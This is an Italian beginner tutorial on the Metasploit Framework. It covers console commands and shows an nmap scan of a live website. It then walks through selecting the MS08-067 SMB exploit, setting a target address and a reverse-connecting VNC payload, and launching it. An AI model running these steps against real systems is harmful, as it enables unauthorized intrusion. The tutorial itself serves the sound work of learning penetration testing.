Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Metasploit Framework: cos'è, tutorial, guida rapida

Impariamo ad usare Metasploit Framework per sfruttare vulnerabilità in applicazioni e SO.
Impariamo ad usare Metasploit Framework per sfruttare vulnerabilità in applicazioni e SO.
Link copiato negli appunti

Metasploit Framework è uno strumento il cui scopo è quello di permettere ad un tester di scrivere velocemente exploit e di automatizzarne l'esecuzione. All'interno del tool sono disponibili una libreria di exploit per le più comuni (e non) vulnerabilità, un'archivio di payloads e strumenti di utilità pronti all'uso.

La grande diffusione di questo strumento ha fatto si che, ad oggi, molte advisories vengano accompagnate da moduli pronti per essere testati su Metasploit.

Installazione Metasploit

Metasploit è installabile su qualsiasi piattaforma purché sia disponibile l'interpete Ruby (linguaggio in cui è scritto il tool). Esistono pacchetti pronti per le varie piattafome che è possibile reperire sul sito ufficiale.

Per i meno pazienti è possibile utilizzare una macchina virtuale con Backtrack che include una installazione di Metasploit di default. In questo caso sarebbe opportuno aggiornare il framework all'ultima versione, da terminale:

$ msfupdate

O alternativamente fare l'aggiornamento direttamente via svn:

$ cd cartella-di-installazione-di-metasploit
$ svn up

Console Metasploit

È possibile lanciare Metasploit da console o da interfaccia grafica.

Per lanciare la console basta utilizzare da una shell il comando (si presume di essere in ambiente linux):

$ msfconsole

Altrimenti per l'interfaccia grafica:

$ msfgui

In generale è più complicato, almeno all'inizio, gestire uno strumento da linea di comando piuttosto che da una interfaccia grafica. Per Metasploit vale la stessa regola ma vi invito comunque ad utilizzare la console perché permette un controllo più capillare e completo sullo strumento - dopo aver imparato i comandi base potrete comunque passare liberamente ad utilizzare una gui con uno sforzo nullo.

Lanciamo dunque la console:

$ msfconsole

Se la console viene lanciata senza errori, dopo una serie di messaggi di benvenuto, dovremmo trovarci di fronte ad un prompt come questo:

msf >

La prima cosa da sapere è come invocare l'help che ci fornirà una lista dei comandi disponibili:

msf > help

Comandi Metasploit

Vediamo adesso alcuni dei comandi più utili, il primo dei quali è sicuramente connect che permette di connetterci ad un host remoto (similmente a netcat o telnet):

msf > connect www.html.it 80
[*] Connected to www.html.it:80

Esistono poi comandi come ping e nmap che non hanno bisogno di grandi presentazioni:

msf > ping www.html.it
[*] exec: ping www.html.it
PING www.html.it (151.1.244.200): 56 data bytes
64 bytes from 151.1.244.200: icmp_seq=0 ttl=56 time=54.674 ms
64 bytes from 151.1.244.200: icmp_seq=1 ttl=56 time=47.335 ms
64 bytes from 151.1.244.200: icmp_seq=2 ttl=56 time=47.044 ms

msf > nmap -T5 -A www.html.it
[*] exec: nmap -T5 -A www.html.it
Starting Nmap 5.51 ( http://nmap.org ) at 2012-05-20 18:31 CEST
Nmap scan report for www.html.it (151.1.244.200)
Host is up (0.050s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE VERSION
80/tcp   open   http    Apache httpd 2.2.20 ((Ubuntu))
| http-robots.txt: 3 disallowed entries 
|_/articoli/stampa/ / /ads_pages/
|_http-title: HTML.it
|_http-favicon: 
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
443/tcp  closed https
1863/tcp open   msnp?
5190/tcp open   aol?   
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.40 seconds

E l'utilisismo irb che ci mette a disposizione un interpreet interattivo Ruby per scrivere script al volo:

msf > irb
[*] Starting IRB shell...

/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant HISTORY
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant FILENAME_COMPLETION_PROC
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant USERNAME_COMPLETION_PROC
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant VERSION
>>

In generale per avere più informazioni sull'utilizzo di qualsiasi comando basta invocare l'help dedicato:

msf > nomecomando -h

Vediamo adesso i comandi per interagire con le librerie di exploit e payload. Il primo da conoscere è show che serve per mostrare il contenuto delle librerie, ad esempio:

msf > show exploits

Con questo comando verrà stampata la lista di tutti gli exploit presenti.

Per visualizzare i payload similmente useremo:

msf > show payloads

Per cercare un elemento specifico possiamo servirci del comando search:

msf > search cve:2009 type:exploit app:client

Search utilizza keyword (type, app, platform, name, etc) per affinare la ricerca. Al solito è buona norma consultare l'help del comando per avere un'idea di tutte le sue funzionalità:

msf > search -h

Lanciare un exploit con Metasploit

Una volta presa confidenza con la console possiamo provare ad utilizzare un exploit tra quelli presenti.

Il comando per selezionare l'exploit da lanciare è use, in questo modo:

msf > use exploit/windows/smb/ms08_067_metapi

Il comando supporta l'auto completamento (tasto TAB) per aiutarci a navigare nella directory dei vari moduli presenti esattamente come una shell. Una volta selezionato un exploit e premuto invio il prompt cambia:

msf exploit(ms08_067_netapi) >

Per prima cosa dobbiamo farci un'idea di quali parametri servono all'exploit per essere eseguito, quindi utilizzeremo il comando show options:

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/vncinject/reverse_tcp_dns):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   AUTOVNC   true             yes       Automatically launch VNC viewer if present
   EXITFUNC  thread           yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The DNS hostname to connect back to
   LPORT     4444             yes       The listen port
   VNCHOST   127.0.0.1        yes       The local host to use for the VNC proxy
   VNCPORT   5900             yes       The local port to use for the VNC proxy

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Per informazioni dettagliate sull'exploit c'è il comando info.

Per settare i parametri richiesti si utilizza il comando set (e unset per ripristinare), ad esempio per settare il valore del parametro RHOST (remote host):

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.100

Se l'exploit lo permette possiamo settare un payload da utilizzare per l'attacco:

msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns

Una volta inizializzati tutti i parametri possiamo verificare che il bersaglio sia effettivamente vulnerabile al nostro exploit utilizzando il comando check:

msf exploit(ms08_067_netapi) > check

E infine possiamo lanciare l'exploit con il comando exploit:

msf exploit(ms08_067_netapi) > exploit

Conclusioni

In questo articolo abbiamo visto i comandi base per iniziare ad utilizzare Metasploit Framework. Ovviamente c'è molto altro da scoprire e ci sono molto cose che si possono fare oltre a lanciare exploit che vedremo nei prossimi articoli.

Nel frattempo vi consiglio di sperimentare i comandi presentati e di spulciare la documentazione ufficiale che presenta molte guide scritte direttamente dagli utenti e che potranno aiutarvi a familiarizzare con questo strumento più velocemente.

Ti consigliamo anche